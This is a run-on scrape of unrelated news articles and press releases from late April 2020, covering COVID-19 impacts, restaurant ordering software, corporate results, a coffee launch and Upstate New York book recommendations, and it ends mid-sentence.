Boy burgers, onion rings and Hot Fudge Cake from the Frischs Big Boy menu. NovaDine offers technical assistance to restaurants like Big Boys to allow them to efficiently expand their delivery and carry out to additional items like groceries. NovaDine has also recently added other features to facilitate to-go and delivery operations for restaurants. These features include no-transaction-fee Delivery As A Service (DAAS) integration with DoorDash and Postmates, and ezCater marketplace integration that complements existing integrations with Grubhub, Uber Eats, DoorDash and Postmates. Story continues NovaDines marketplace integration is fully automated and bi-directional. Menus are kept up to date in real-time on all marketplaces, including discontinued items, and orders flow directly to the POS. NovaDines new customer-facing features include a no-contact curbside pickup, nutritional calculator, menu filtering based on preferences/ allergens, min/max quantity restrictions on items and/or categories, and sign-in capabilities with Google and Facebook. About NovaDine NovaDine provides enterprise-class POS integrated digital ordering solutions to multi-unit restaurant chains. NovaDine is an innovator in the marketplace with unique features like its full menu/order/POS integration with Grubhub, DoorDash, UberEats, ezCater and Postmates; patented Group Ordering; proximity triggered Customer Check-In; Order Throttling and Cubby Support for take-out and delivery orders. Additional capabilities include a Nutrition Calculator, Curbside Check-In, Customer Account Services, Catering Module, and Grocery Services. Built-in delivery support is included, as well as Delivery As A Service integration (DAAS) with DoorDash, Postmates and UberEats. Multiple prominent restaurant chains like Panda Express, Frisch's and Firehouse Subs have deployed the feature-rich solutions to power their online/mobile ordering, catering, delivery and apps. NovaDine was founded in 2007. The company is based in Raleigh, NC. http://www.novadine.com Attachment Jenny Burke NovaDine 919-621-1619 jenny@thinkmartinfirst.com Subscriber content preview Advocates say construction should be halted amid the coronavirus outbreak. By ASTRID GALVAN Associated Press PHOENIX The federal government is proceeding with plans for a border wall even as communities where construction is ongoing protest the presence of workers, according to court documents. In the Yuma, Arizona, area, the government modified a contract on March 24 to add 1.5 miles of a 30-foot border wall with angled tops and an anti-climb plate to the cost of $55.8 million. That's according to documents the Sierra Club obtained last week in one of two lawsuits challenging the use of defense department funds to build the wall. . . . If we pay the rent, we dont have enough money to buy what we need, not even vegetables, said Mr. Arenas. A provision in the legislation that created the stimulus fund, which received little attention while it was under debate, prohibits payments to people who file taxes jointly with someone who uses an Individual Taxpayer Identification Number, a common substitute for a Social Security number used mostly by immigrants without legal status. The result, immigrant advocates say, is that many American citizens who are married to undocumented immigrants will not receive financial support at a time when the country is facing a staggering unemployment crisis. Those families also must forgo the bonus payments that otherwise would be distributed based on the number of children living in their home. As a result, larger households in financial distress may lose out on thousands of federal dollars because of a single undocumented family member. An estimated 1.2 million American citizens are married to undocumented immigrants. Michael Zona, a spokesman for Senator Chuck Grassley, a Republican who as chairman of the Senate Finance Committee helped craft the bill, noted that American citizens who file separately from their undocumented spouses may still be eligible for the credit. Previous 120-day waivers have been reduced to 30 days in what some view as part of Trumps effort to raise pressure on Iran. The US has extended a sanctions waiver allowing Iraq to continue to import Iranian gas and electricity. Previously, such waivers were granted for 120 or 45 days. But the periods have now been reduced to 30 days, in what some view as part of President Trumps effort to raise pressure on Iran. Al Jazeeras Simona Foltyn reports from Baghdad. Members of the Senate and House of Representatives resumed plenary on Tuesday about 24 hours after the Clerks of both chambers announced their resumption in separate letters. The lawmakers resumed legislative activities despite the lockdown extension announced by President Muhammadu Buhari on Monday. It was, however, a calm and peaceful atmosphere in the legislative complex. Only a handful of workers, comprising Sergeant-at-Arms, security personnel and a few essential workers, were seen in the complex. Meeting rooms, lobbies and the complex were deserted as well and only a few journalists were granted access into the complex. The press centres and gallery to the chamber remained locked during the plenary sessions. Hand sanitisers were placed at entrances and people were compelled to santise their hands before proceeding. The Senate resumed activities with an executive session which lasted for over one and a half hours. The lawmakers, who showed up in their numbers, maintained social distancing and all wore face masks throughout the session. They were made to sit two seats apart. READ ALSO: At the start of plenary, the Senate Leader, Abdullahi Yahaya, moved that the Senate suspends Order 11 of the Senate Standing Rule. The rule states that every senator must speak from the seat allocated to him or her by the Senate President. The suspension of the Rule is to enable the lawmakers to sit metres away from each other in adherence to the health advisories issued by the National Centre for Disease Control as well as help curb the spread of Coronavirus. New Delhi, April 28 : A senior official of the Niti Aayog on Tuesday tested positive for novel coronavirus (COVID-19) after which the entire building was sealed as a precautionary measure to contain the spread of the pandemic. According to senior officials of the Niti Aayog, an official working in the fourth floor office of the building was tested positive. The Niti Aayog from its official twitter account said: "An employee working at NITI Bhavan has been detected positive with COVID-19. It was informed to the authorities at 9 a.m. this morning. NITI Aayog is following all the due protocols necessary as per the Ministry of Health guidelines. The building has been sealed." It further said that disinfection and sanitisation of the building are underway. "Contacts of the single COVID-positive person have been asked to go on self-quarantine," it added. The total number of COVID-19 cases in India on Tuesday rose to 29,435 with 934 people.losing their lives to the pandemic. In Delhi, the total number of COVID-19 cases rose to 3,108 with 54 deaths. Latest updates on Coronavirus (COVID-19) Africas young population may prove resilient against the coronavirus, but malnutrition could be the nail in the continents coffin The African continent, with a population of over 1.2 billion, has recorded more than 30,000 confirmed coronavirus cases and close to 1,500 deaths. The figures may seem less threatening when compared to those in Europe and the United States. But the fact is, the numbers may increase at lightning speed. In South Africa, for example, coronavirus cases multiplied 20-fold in two weeks. The virus had hit 400 patients in late March in Algeria, and today the cases stand at more than 4,000. Large numbers of doctors and healthcare policy leaders in Africa fear an outbreak on the scale of Europe. Africa, with its poor capabilities and deteriorating health services, will not be able to stand against this scenario. Making matters worse in Africa is the fragile economic condition of the continent. Villagers live hand to mouth, feeding on their crops of grains, potatoes and vegetables. In many African capitals, 20 per cent of the populations live under the poverty line and the majority of workers are seasonal labourers in temporary jobs. Without thinking twice, the poor of Africa would rather die of disease than of hunger. They will go to work to feed their families, coronavirus or not. And in the majority of the continents countries, governments will be able to provide only small amounts of subsidised foods, with the disbursement of free foods near impossible. True, Uganda and Rwanda, with 79 and 191 coronavirus cases respectively and no fatalities thus far, are distributing free food in the poorest areas. But this is difficult to maintain, even if reports from South Africa saying that gangs disburse free food in poor districts among immigrants from neighbouring countries are true. A few weeks into adopting these policies, state budgets, already suffering from great deficits, are being brought to the ground. Many African countries announced a curfew, such as Egypt, a complete lockdown, such as South Africa, a partial lockdown, such as Lagos, the economic and cultural capital of Nigeria or a travel ban between regions, such as Sudan. In a world where influential countries are mobilising to source scarce medical equipment, Africa is left with almost nothing. Africa has five intensive care beds for every million citizens, while there are 3,500 such beds for every million people in the countries of the Organisation for Economic Cooperation and Development. The condition is much worse when it comes to ventilators. South Sudan, the latest African country to gain independence, has a population of 14 million people and four ventilators. Until Monday, Sudan had registered 237 confirmed coronavirus cases and 21 deaths. Sudan suffers from a deteriorating economy that led to the eruption of a revolution that brought down the longest serving president in Africa, Omar Al-Bashir. Since he was toppled, Sudans condition has not improved in the slightest. Other African countries are suffering from collapsing infrastructure, where it is difficult to make available soap and water or practise self-isolation in overcrowded houses. There is still hope for Africa, however. The majority of the continent is young, unlike in Europe where a quarter of the population is over 65 years of age. In Africa, as well, chronic diseases are not as widespread as in the Middle East and Asia. But malnutrition could be the nail in the coffin for Africa, making coronavirus more dangerous for Africa than in other parts of the world. Still, the international scientific community has not conducted enough research to determine the effect of coronavirus on people suffering from malnutrition. Moreover, due to poverty and collapsing infrastructure, commuting between regions in African countries remains limited, and international travel is recorded at far less rates than in any other part of the world. Africas point of strength, nevertheless, is its experience in facing pandemics such as Ebola and HIV/AIDS. In these two experiences, since the 1980s until today, African communities proved their strength in overcoming many hurdles. In both instances, countries of West Africa, such as Liberia and Sierra Leone, and Central Africa, such as the Democratic Republic of Congo, didnt practise self-isolation or enforce a lockdown. Combating both pandemics was done comprehensively by communities, with local leaderships taking the lead in the fight instead of governments. In Liberia, it was local leaders that stood at the forefront of awareness campaigns, going door to door, organising peoples visits to markets, isolating infected patients and arranging the delivery of basic needs to those unable to afford them. Ebola didnt bring life to a halt in Congo and the pandemic is waning in the republic. In 2014, during the Ebola outbreak, the Liberian government ordered the army to lock down the West Point district in the capital Monrovia. The public defied the lockdown, rendering it useless. Since then the Liberian government has counted on local leaderships. At that time, Sierra Leone released the slogan General health by consent. However, the role of governments in building field hospitals and supporting the healthcare sector cant be ignored. *A version of this article appears in print in the 30 April, 2020 edition of Al-Ahram Weekly Search Keywords: Short link: The Inter-Ministerial Central Team (IMCT), currently visiting Telangana to assess the COVID-19 situation, on Tuesday enquired about the provision of food and other facilities to migrant workers in shelter homes in the city, distribution of food to the needy, among others. The Central team, led by Arun Baroka, Additional Secretary, Ministry of Jal Shakti, inspected the control room set up in the head office of the Greater Hyderabad Municipal Corporation (GHMC). The team enquired about the functions of the control room, the facilities provided to the migrant workers in shelter homes, distribution of food and response to the suspected COVID-19 calls,a GHMC release said. A GHMC official explained in detail about the functioning of the 'control room' (24x7) and the supply of food to the needy through mobile vehicles, it said. The team made a call to the field staff and asked about, to whom they have supplied food and how many on a particular day. The reply was tallied with the data provided by the control room, it said. "...the Central team appreciated the functioning of control room, and providing shelter and food to the migrant workers by the GHMC," it said. TheGHMC official showed video clipping of ministers and other public representatives encouraging the field staff who are rendering services in the fight to combat COVID-19 by having lunch with the workers. In the evening, the team visited a hospital at King Koti and the Victory Play Ground in the city and enquired with those taking shelter there about provision of food and health check-up. The migrant workers informed that the provision of food and other facilities, including regular health check-ups and arrangement of a TV in a hall are good. The IMCT began its visit to the state on April 25. Telangana Chief Secretary Somesh Kumar on April 25 made a detailed presentation on the measures taken by the state government to contain the spread of COVID-19. (This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.) 28 April 2020, Road Town, Tortola, BVI Eastern Property Holdings Ltd (EPH), a real estate investment and development company with focus on Russia, the CIS and Europe, today announces audited 2019 year-end results: NAV of $40.73 per share increased from $ 33.82 at YE2018 Net profit attributable to the shareholders of $40.68 million ($4.01 per share) and the positive cumulative translation adjustment (CTA, reflected as the other comprehensive income in equity) of US$27.73 million contributed to the US$68 million increase in equity attributable to the shareholders. The main factors influencing NAV are: Good stable performance of the rental properties - $71.30 million of net rental income (vs US$ 68.21 million in 2018). Newly acquired property in Vienna contributed app. US$ 3.2 million of net rental income for the period from March to December 2019 $ 3.12 million of profit has been recognized for the sale of Arbat 24&39 apartments and parking lots US$ 53.51 million increase in investment property valuations in US$ equivalent Increase in administrative and selling overheads by US$3.29 million resulting from continuing extensive growth of the Group and start of active marketing of Arbat residential properties. Impact of exchange rate fluctuations in the reporting period (overall negative effect of $ 4.48 million): net foreign exchange losses recognized in the income statement are to significant extent compensated by the positive change in CTA The Companys investment properties held at fair value are $1007.5 million (31 December 2018: $841.5 million). The growth is mainly caused by the addition of QBC4 property (US$117.36 million) and improvement of both the rental portfolio and critical valuation assumptions, such as positive changes in ERV and yields level, reflecting economic conditions observed at YE 2019. The Company would like to emphasize that COVID-19 effects are considered as being non-adjusting event per the accounting standards and do not affect Companys financial results, including valuation adjustment of Investment property, for 2019. Story continues Our annual report, including full financial statements, is available on the companys website: http://www.easternpropertyholdings.com/investors/reports.php CONFERENCE CALL WITH MANAGEMENT Please join management for a conference call to discuss EPHs 2019 results on Thursday, 30 April 2020 at 10:00 a.m. (CET) Dial in: +41 58 262 07 22 Access Code: 035797 A presentation for the call will be posted on the companys website shortly before the call, www.easternpropertyholdings.com Eastern Property Holdings Ltd. is an investment company listed on SIX Swiss Exchange which holds interest in office, residential and retail properties. EPH is managed by Valartis International Ltd. a wholly-owned subsidiary of Valartis Group AG. Additional information on Eastern Property Holdings is available by contacting Anna Bernhart Tel: +41 44 503 5400. Attachments Source: Xinhua| 2020-04-28 18:22:28|Editor: huaxia Video Player Close by Burak Akinci ANKARA, April 28 (Xinhua) -- The Turkish government said that the country is not expected to face any major problems for food supply during the coronavirus outbreak, but experts have warned that encouraging domestic production is a must to reduce imports and overcome the crisis. Turkey's agricultural sector is facing serious problems for over a decade because of austere policies that have reduced the number of farmers and arable land in the country who used to be largely sufficient three decades ago. Thousands of villagers and farmers have been pushed to migrate towards big cities and the recession that Turkey was trying to shake off before the COVID-19 pandemic had also a serious impact on the nation's agricultural production, according to specialists. Ankara had dismissed the risk of a food shortage in Turkey which has a high rate of infections of over 100,000 people, and has taken serious measures to curb the spread of the virus. "Due to the measures that we have taken, we do not face a problem in our food supply unlike other countries in the world," Agriculture Minister Bekir Pakdemirli said in a statement. He insisted that the country will continue to produce "even more" in the short and medium term to satisfy the demand. Experts however are cautious and warned about Turkey's lingering problem of agricultural shortages as the nation has for years relied on imports instead of local production. "We have a big production potential but we don't use it adequately to our needs. We are dependent on imports regarding several crucial products such as soybeans, red lentils, wheat and haricot," Ali Ekber Yildirim, an expert on agriculture, told Xinhua. Turkey also imports barley, corn, cotton, sunflower seeds, and paddy to satisfy local demand. The widespread stockpiling in cities around the world by consumers looking to ride out the pandemic has driven up grain prices, pushing food security up the agenda both for food-exporting countries and the nations that rely on them. Yildirim said that that the government didn't announce anything substantial for the sector in the almost 29-billion-U.S. dollar package that it did unveil so far to shield the vulnerable economy from the impact of the coronavirus. He indicated that procuring food could become hard for import-reliant countries as food security risks fueled by the pandemic are already forcing governments to restrict exports. "I do not aim to scare people but relying too much on imports and not to encourage our producers could eventually lead to shortages," cautioned this expert, calling on the government to immediately announce a comprehensive plan. According to the UN Food and Agriculture Organization, the world risks a looming food crisis "unless measures are taken fast to protect the most vulnerable, keep global food supply chains alive and mitigate the pandemic's impacts across the food system." The organization's Turkey representative made positive remarks concerning Ankara's efforts. "We are welcoming measures taken by the government to help farmers and food-related business operators by postponing tax payments, advancing agricultural support payments (and) providing interest-free loans for investment and operation which are provided for small farmers and processors," Viorel Gutu told semi-official Anadolu Agency. Lockdowns and other restrictions to stop the contagion have led to labor shortages in many places, aggravating the hardships of farmers and food industries. Turkey has allowed farmers and agricultural workers to attend their land through the nationwide lockdown imposed on weekends in big cities. Nevertheless food prices went up for essential products in the past few weeks. Turks have begun to feel more severe the consequences of dependency on agricultural imports. "Oh yes, I noticed that prices have gone up for meat and other items such as rice and flour," Ahmet Yilmaz, a 38 year electrician told Xinhua outside a supermarket in Ankara's Cankaya district. He remarked that with the Turkish currency dwindling since the start of the year and particularly with the coronavirus outbreak, like other emerging markets, new price increases would become inevitable. The Muslim month of Ramadan, which began on April 24, is also adding to the pressure as people usually buy more than they need. Food prices rose nearly 2 percent in March only, when Turkey announced its first COVID-19 case. Turkey is a big exporter of fresh fruits and vegetables but due to export restrictions by other countries, Turkey is expected to face hardships to pay for its food imports, added specialists. Enditem Upstate New York has no shortage of great books and great authors. After all, Alex Haley was born here. James Fenimore Cooper lived here. And, Mark Twain is buried here. With all of us trying to find creative ways to endure our quarantine days, may we suggest you pick up a book! An Upstate book! Here is a short list of great books about our region. There are hundreds of titles to choose from, of course, but this selection will act as a sampler for many more books to come. On this list you will find Pulitzer Prize-winning books, novels that were made into full length Hollywood movies and even ones that are now considered to be young adult classics. There is even a guide book to the back roads of Upstate. Find a cozy nook, grab a glass of wine and get ready to visit the Mohawk Valley, take a walk to the other side of the mountain, meet up with the largest family crime syndicate in America, or go to a Worlds Fair! An old book, but a very, very good one. Story is based on an actual murder that took place deep in the Adirondack woods in 1906. Has a lot of Upstate elements to it. Grace Brown was murdered by Chester Gillette while on a canoe trip on Big Moose Lake. Brown and Gillette were from the Cortland area. The story is a real pot-boiler from the early set-up romance to the sad denouement of the love affair, and to the trial of what was then called The Crime of the Century. It has been told many times and was even made into two Hollywood blockbusters. Dreisers 1925 book is the first and the best of the retelling of this tale, fictionalized or not. If you go to Big Moose Lake today, you can see a NYS historical marker at the dock where Chester and Grace set off on what would be her final boat ride. TIME magazine named An American Tragedy as one of the top 100 novels written in English in the 20th Century. This classic young adult novel takes place in rural Delaware County around the village of Delhi. The charming story tells of a 14-year old New York City boy who wants to escape the urban landscape and live at his great-grandfathers abandoned farm in the Catskill Mountains. The boy, Sam Gribley, makes the journey and lives off the land for a period of time. The themes of this book, self-preservation, determination, courage, independence, and an awareness of nature resonated with the reading public when it was first published in 1959. In many schools, especially in New York state, it became required reading. It was made into a feature length movie in 1969. The book is still in print. The novel won a Newbery Honor. In 2019, the 60th anniversary of its publication, a historical plaque was affixed to the exterior of the Cannon Free Library building in Delhi telling of the books history and the local regions importance. Lauren Groff uses her hometown of Cooperstown as the locale for this highly acclaimed first novel. Templeton was originally the planned name for the village (which also gave us Americas first best-selling author, James Fenimore Cooper). The story is of a young girl, Wille Upton, who returns to Templeton (Cooperstown) after her college graduation, moves in with her mother and starts to investigate her past in this small Upstate NY village. She has to maneuver the labyrinthian passageways of time as she seeks out the father she never knew but who is revealed to still be living in the same village as she. Truly an Upstate NY classic. Written by the great William Kennedy in 1983. Kennedy knows of what he writes. He lives in the Albany area still (he is in his 90s) and is a welcome presence at many of the citys cultural and literary events. Ironweed lives and breathes old-time Albany and is a gritty telling of a native son, doomed and alcoholic, who kills his child by accident, leaves the city and then returns to face the ghosts of this past. The book is a Pulitzer Prize winner. It was made into a Hollywood movie in 1987, which starred Jack Nicholson and Meryl Streep. Many of the Depression-era scenes in the movie were filmed around Albany. Russo, like William Kennedy, is among the great literary giants of Upstate NY. Russo hails from the Mohawk Valley and much of his work is semi-autobiographical in nature. Several of his books have been made into movies or other treatments. Trying to name the best Russo book will no doubt get you a fight on your hands. Nobodys Fool is this writers choice. It was made into a full-length movie in 1994 starring Paul Newman. Empire Falls is another great book (Pulitzer Prize), as is Mohawk or Everybodys Fool and all the rest. Tough to pick one as the best, so read them all and you will get a real flavor of the authors love for Upstate New York. Russo is from Johnstown and grew up in Gloversville. The author hits all the sweet spots. From the well-known to the little-known, this book is an invaluable guidebook on your first or your 50th trip around Upstate NY. All the regions are noted here, from the Hudson Valley to Niagara Falls and from the Adirondacks to the Catskills and everything in between. Convenient and easy to use maps (10) and interesting photographs (60). Hit the road with this as your companion. The legend of the Loomis Gang looms large in a small area of Central New York. George Washington Loomis, Sr. married Rhoda Mallett in 1814, moved to Madison County and started to grow a big family, a dozen children to be exact. The Loomiss were upstanding, well-off citizens with impressive lineage (Loomis, Sr., was a descendant of Joseph Loomis who was a member of the Mayflower Colony). But, as this book chronicles, somewhere along the line the whole family went off the tracks and fell into the dark side. As the children grew up, they were involved in petty lawbreaking at an early age and downright criminal activity in later years. With family members as the nucleus of this backwoods crime syndicate, the Loomis Gang carried out horse stealing, livestock rustling, burglaries, money counterfeiting and kidnapping. They paid off law enforcement and basically ruled a large swath of Central New York with force (and bribery) well into the mid-1800s. This is a rollicking true story of men and women cut right out of the cloth of a western dime novel, but it really did all happened in a place called Nine Mile Swamp in Central New York and this book tells the story of the Loomis familys activities in great detail. Ever heard of the Loomis Gang? If not, grab this book for a lively escape from your quarantine! A fascinating read about the 1901 Worlds Fair which was held in Buffalo. The city was at that time the 8th largest city in America (350,000 people) and was one of the great industrial centers of the country. The worlds fair (officially called the Pan-American Exposition) had everything going for it including eye-popping exhibits, amazing entertainment, the first major display of a large area lit by electric lights (provided by Thomas Edison himself), the unveiling of new inventions (including X-ray machines), dazzling international architecture and more. Creighton weaves a tale of how the city won the competition, the building of the 350-acre fair grounds and the hopes for its success that would in turn elevate Buffalo to a great international city. Instead, the fair was beset with problems, crowds were less than expected and, as a final sad insult, President William McKinley was assassinated at the fair on September 6, 1901. The book is a fascinating bridge back to the glory days of one of Upstates great urban areas as well as acting as a postcard to an ambitious event which will ultimately always be remembered as the place where a president was murdered. READ MORE Coronavirus in NY: Cases, maps, charts and resources Central NY has one of lowest coronavirus infection rates in state, testing finds Foodies Movie Guide: Catch up on 20 food-centric flicks through the years Coronavirus: Take a break. Go hike, drive, bike ride in Upstate NY Complete coronavirus coverage on syracuse.com Tamil Nadus (TN) Vellore district administration on Monday evening ordered the demolition of the two concrete walls constructed on an interstate highway connecting Andhra Pradeshs (AP) Chittoor district a day before, hours after the pictures went viral and the AP authorities took exception to the unilateral move. Vellore district collector A Shanmuga Sundaram said that the walls constructed on the highway --- in a bid to prevent interstate movement between TN and AP amid the growing concerns over the spread of the coronavirus disease (Covid-19) outbreak --- had been demolished. Weve pulled down the walls that were erected on two places on the state highway connecting Vellore with Chittoor districts, Sundaram told HT over the phone. The Vellore district administration ordered the demolition of the walls after Chittoor district collector N Bharat Gupta took up the matter with Sundaram, citing the immediate need to restore emergency transport services, Chittoor joint collector D Markandeyulu said. The wall, measuring three feet in width and five feet tall, was constructed at Gudiyattam village in Vellore district, which shares its border with Chittoor districts Palamaner block. Another wall was erected at Kondappanaickenpalayam check-post near Ponnai in a bid to stop unauthorised movement of vehicles and people between both the states amid the nationwide lockdown restrictions, which were initially enforced for 21 days from March 25 and then further extended for another 19 days till May 3, to rein in the pandemic. The Palamaner-Gudiyattam stretch is used by people from both TN and AP for the movement of essential commodities such as vegetables, flowers, and groceries to the villages that are located on both sides of the interstate highway. Besides, the Vellore-based Christian Medical College (CMC) caters to thousands of patients from AP, who go there for treatment every year. Similarly, the Vellore Institute of Technology (VIT) is another favourite educational institution for Telugu-speaking students from the state. Earlier on Monday morning, Sundaram had told HT that the Vellore district administration had constructed makeshift walls only in two places of the highway of the six borders that they share with Chittoor district. There are also a few other rural routes between the two states, which have been closed with boulders, he had said. Weve sealed these areas in a bid to prevent unauthorised movement of people amid the lockdown restrictions. However, both the transport of goods and the movement of people on emergency situations are allowed through alternative routes, he had added. SHARE THIS ARTICLE ON President Donald Trump said he is planning to sign an executive order in order to compel meat processing plants to remain open during the CCP virus pandemic. A number of meat and poultry plants have shut down in recent weeks after employees contracted the virus, leading to warnings from top executives that a shortage may hit the United States. Were going to sign an executive order today, I believe, and thatll solve any liability problems, Trump told reporters on Tuesday during a meeting with Florida Gov. Ron DeSantis. News reports on Tuesday said Trump would sign a Defense Production Act order and state that meat processing plants are critical infrastructure. And well be in very good shape, the president said in response to a question about the order. Were working with Tyson, which is one of the big companies in the world. And we always work with the farmers. Theres plenty of supply, as you know. Theres plenty of supply. Its distribution. And we will probably have that today solved. It was a very unique circumstance, because of liability. Other than the comment to reporters, Trump did not elaborate. The president was referring to Tyson Foods, one of the largest meat producers in the world, which warned of a potential meat shortage. The food supply chain is breaking, Tyson Foods chairman of the board John Tyson wrote in a full-page ad published by several news outlets on Sunday. As pork, beef, and chicken plants are being forced to close, even for short periods of time, millions of pounds of meat will disappear from the supply chain, Tyson wrote in a statement. As a result, there will be limited supply of our products available in grocery stores until we are able to reopen our facilities that are currently closed. Tyson recently suspended operations at its largest pork production plant, coming days after Smithfield Foods, a Chinese-owned company, suspended operations at some of its plants across the United States. Tyson added in another statement that it was taking action to deal with the threat of shortages to customers. Were shifting production at our plants and rerouting products to make sure store shelves stay stocked for you and your family, Tyson Foods said in a statement. Meanwhile, workers at a Smithfield plant in South Dakota told The Epoch Times that executives from WH Group, Smithfields parent company in China, regularly visit the plant, and even visited the plant about a month after President Trump had banned travel from China. Meat-processing workers are particularly susceptible to the CCP (Chinese Communist Party) virus, commonly known as the novel coronavirus, because they typically stand shoulder-to-shoulder on the line and congregate in crowded locker rooms and cafeterias. The threat of a meat shortage prompted the U.S. Department of Agriculture (USDA) to say it will spend $3 billion to buy fresh produce, dairy, and meat that will be sent to food banks. The food supply chain is a critical industry in the United States, and Secretary Perdue fully recognizes the need to keep workers and inspectors safe during the COVID-19 national emergency, a USDA spokesperson told Time magazine. Tom Ozimek contributed to this report. From The Epoch Times NEW YORK, April 28, 2020 /PRNewswire/ -- Jot launches today to transform any morning routine, afternoon lull or evening nightcap with its flagship product, Ultra Coffee: a liquid 20 times more concentrated than common coffee. Just one tablespoon of Ultra Coffee, plus a splash of water or milk (hot or cold), is all it takes to create an unforgettable at-home experience. Jot brings an inventive spirit to the best of coffee's time-honored culture. The result is unmistakable: an exceptionally pure liquid that delivers unparalleled clarity of flavor, versatility and convenience. Ultra Coffee is the best expression of coffee, thoughtfully extracted from organic, fair trade beans. The product arrives direct-to-consumer in a sleek, reusable 200mL Italian glass bottle and makes up to 14 cups of consistently perfect coffee. "There's nothing like this on the market," states Jot co-founder Andrew Gordon. "We created Ultra Coffee to offer an exceptional coffee experience anywhere, at any time and added instantly to any routine. This is the future of coffee." Jot deploys a progressive, reverse gravitational extraction technique that's intentionally slow and precise. The team's innovative approach turns traditional coffee brewing on its head, literally. "Imagine making an enormous, slow, upside-down espresso with impeccable precision to eliminate over-extraction," says Jot co-founder, Palo Hawken. "This is not a twist on an existing coffee brewing technique. It's a completely new process." Today's at-home coffee drinker faces a choice between ease and excellence (i.e. pod versus pour-over, Folgers versus French press, crystals versus cold brew). Jot brings the artisanal coffee shop experience directly to your door - no expensive or time- consuming equipment required. "Coffee is one of the most complex foods in the world with over a thousand compounds contributing to flavor and aroma," Hawken says. "Even in the world's best coffees, we've learned to accept off-flavors that are inherent to traditional brewing, but what if we don't have to compromise?" Simply put, this is the way coffee should have always tasted. To experience coffee for the first time, again, visit Jot.co. About Jot: Founded in 2019 in Boulder, Colorado by Andrew Gordon and Palo Hawken, Jot produces direct-to-consumer Ultra Coffee: a liquid coffee 20 times more concentrated than a regular cup for an unforgettable at-home experience. Using a proprietary extraction process, and beans sourced from organic, fair trade farms in premier coffee growing regions, Ultra Coffee delivers unparalleled clarity of flavor, versatility and convenience. Media Contact: Factory PR [email protected] SOURCE Jot Related Links https://jot.co Share this article Whatsapp Facebook Twitter Linkedin Yunindita Prasidya (The Jakarta Post) Jakarta Tue, April 28, 2020 15:17 624 fc6853813033f564188675f8bd4b6d45 1 Business Indonesia,Hotel,Menteng-Hermitage,revenue,first-quarter-2020,fall-short-target,lockdown Free PT Menteng Heritage Realty, which owns The Hermitage, Pomelotel and PT Global Samudra Nusantara (GSN), fell short of achieving its 2020 first-quarter revenue target because of the COVID-19 outbreak. The company booked Rp 20.58 billion (US$1.32 million) throughout the first three months of the year, Rp 7.57 billion short of the targeted Rp 28.15 billion. The shortfall occurred because the hotel business units were not able to realize their targets, Menteng Heritage Realty president director Christofer Wibisono said in a virtual press conference on Monday. The Hermitage, a boutique hotel located in Menteng, Central Jakarta, only generated Rp 11.02 billion from a target of Rp 15.8 billion, and Pomelotel, located in South Jakarta, booked Rp 3.9 billion from a target of Rp 6.49 billion. Despite this, the companys total revenues were 28.92 percent higher than the Rp 15.95 billion recorded in the same period last year. Tourism and travel are among the hardest-hit business sectors during the COVID-19 crisis. Like other hotel operators, Menteng Heritage suffered a significant drop in its occupancy rates. In March, The Hermitages occupancy rate averaged 18.6 percent, plummeting from 56.3 percent recorded in January and 49.5 percent in February. Pomelotel, on the other hand, fared slightly better as the hotel had a 39.89 percent occupancy rate in March, down from Januarys figure of 42.8 percent and Februarys 54.48 percent. The COVID-19 epidemic had affected The Hermitage business unit significantly in comparison to Pomelos, in entering the second quarter of 2020, the president director noted. In light of the large-scale social restrictions (PSBB) or partial lockdown the Jakarta administration enforced to limit the spread of the virus, Menteng Heritage has decided to close down operations at The Hermitage from April 14 until April 30. Christofer said the temporary shutdown could be extended following a recent announcement from the administration to extend the PSBB until May 22. To limit the economic blow from the fall in visitor numbers, the company initiated a shift in business operations to include food delivery services. Its business unit, Pomelotel, now provides catering to offices that are still open for business during the PSBB; those offices that are considered to be essential businesses by the administration. We are hoping for an increase in revenue and possibly covering some of the companys expenses, Christofer said, although noting that the extra income would not be able to fully meet the costs of operation. In 2019, Menteng Heritage allocated Rp 7.9 billion in capital expenditure (capex), which is used to renovate gym facilities, to increase the capacity of its function rooms and restaurants, as well as to prop up its IT system, while the rest of the funds went into its subsidiaries, as reported by Kontan. This year, the company had yet to disburse capex because the strategy is cash conservation for 2020, Christofer explained. PT Menteng Heritage Realtys share prices, listed on the IDX with the code HRME, had fallen by 73.86 percent year-to-date, as of last week. Indonesia Stock Exchange had suspended trading of Menteng Heritage shares since April 23 due to the significant cumulative drop. Its share prices closed at Rp 230 on April 22, a deep plunge from its highest price of Rp 1,130 per share booked on Feb. 7. [April 28, 2020] Miku Accelerates Installation Of Its Contact-Free Respiratory Monitors In Hospitals And Healthcare Facilities Nationwide LOS ANGELES, April 28, 2020 /PRNewswire/ -- In an effort to better protect both hospital personnel and intensive care unit patients, Miku , the industry's leading contact-free baby monitor, announced today an accelerated program to equip hospitals nationwide with its real-time respiration monitoring system. Notables such as actress Octavia Spencer and the William, Jeff and Jennifer Gross Foundation have rallied to work hand in hand with Miku in the donation of these monitors to hospitals including Mission Hospital of Mission Viejo, CA, Central Alabama's Baptist Health system, and New York's Montefiore Health System, respectively. To date, Miku has installed its award-winning monitors in healthcare facilities around the country with many more establishments planned amidst the COVID-19 Pandemic. "It was incredibly important to me to find a way to help my communities during this pandemic and I was lucky enough to find and team up with the founders of Miku to provide state-of-the-art monitors to the most vulnerable people affected by COVID-19," critically acclaimed actress Octavia Spencer shared. "Miku is working to put monitors into hospitals and elderly care facilities, including those in my hometown of Montgomery, Alabama, to safeguard those on the frontlines and provide a next level of care for potential and existing COVID patients. Through the tireless efforts of the Miku team, communication between frontline healthcare workers and those affected will be conducted in a safer and more effective manner." "My international philanthropic efforts have been dedicated to systematic health care and expanded access to life-saving care," said Jennifer Gross, Director at the William, Jeff and Jennifer Gross Family Foundation. "It is extremely sobering, urgent and essential to do the same in my hometown of Mission Viejo to protect frontline health workers who risk their lives every day to treat patients from our community and beyond." Hospitals and assisted living facilities caring for infected, exposed, and at-risk individuals across the country are seeking to utilize Miku due to both the brand's innovative technology, that tracks respiratory patterns with unparalleled accuracy, and its contact-free system, without the need for any wires or wearables, thereby minimizing caregiver-patient interaction and reducing the potential for exposure. Miku's two-way talk functionality also offers real-time communication to vastly reduce exposure risk in these vulnerable environments. The Miku Smart Baby Monitor was initially created to protect the most precious of lives: newborns and infants. The applications for the breathing monitor have expanded in response to COVID-19, an unforecasted catalyst, which has created a necessity for contactless respiratory monitoring in preventative and telemedicine. Miku is currently exploring how its technology can help those afflicted with Sleep Apnea, Dementia, Alzheimer's Disease, COPD, and other respiratory issues. "As Miku's Chief Medical Advisor, I cannot wait to see the brand's unrivaled technology employed in healthcare and assisted living facilities," stated Dr. Jacqueline 